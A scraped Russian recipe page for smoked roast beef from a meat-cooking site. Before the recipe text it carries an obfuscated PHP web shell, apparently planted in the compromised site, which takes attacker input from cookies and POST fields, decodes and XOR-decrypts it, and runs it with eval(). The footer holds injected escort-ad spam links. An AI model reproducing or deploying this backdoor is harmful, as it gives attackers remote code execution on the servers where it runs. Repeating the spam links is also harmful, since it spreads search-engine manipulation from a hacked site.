$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} РОСТБИФ КОПЧЕНЫЙ • Meat Review

РОСТБИФ КОПЧЕНЫЙ

Перейти в режим чтения
Распечатать
0 0
РОСТБИФ КОПЧЕНЫЙ

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:

    Инструкция

    Поделиться

    Традиционно на ростбиф берется мясо с внешней части бедра коровы, кусок должен быть без прожилок.
    Мясо солим и маринуем.

    Обсыпка
    Соль – 2%
    Смесь перцев – 0,5%
    Чеснок гр. – 0,5%
    Для аромата добавляем немного розмарина и тимьяна.

    Просолка в пакете 3-5 дней в холодильнике, после чего обмазываем мясо оливковым маслом и соевым соусом. Маринуем день – два.

    Перед копчением мясо тщательно протереть и немного подсушить.

    Рекомендую сначала обжарить на сухой сковороде (запечатать).

    Коптим на яблочной щепе при температуре 90 – 100С до внутренней температуры 56С. После чего немного охладить.
    Подавать с клюквенным соусом или любимым джемом. Мой фаворит – мятный и яблочный.


    Бон аппетит.

    (Visited 1 315 times, 1 visits today)

    Stanislav

    обратно
    СВИНАЯ ЛОПАТКА ГОРЯЧЕГО КОПЧЕНИЯ
    далее
    Самый продвинутый термометр для кухни
    обратно
    СВИНАЯ ЛОПАТКА ГОРЯЧЕГО КОПЧЕНИЯ
    далее
    Самый продвинутый термометр для кухни

    Похожие рецепты

    There are no comments yet

    × You need to log in to enter the discussion

      MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

      escort Muğla
      Aydın Escort bayan
      Çanakkale Escort
      escort bayan balıkesir

      Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

      By continuing to use the site, you agree to the use of cookies. more information

      The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

      Close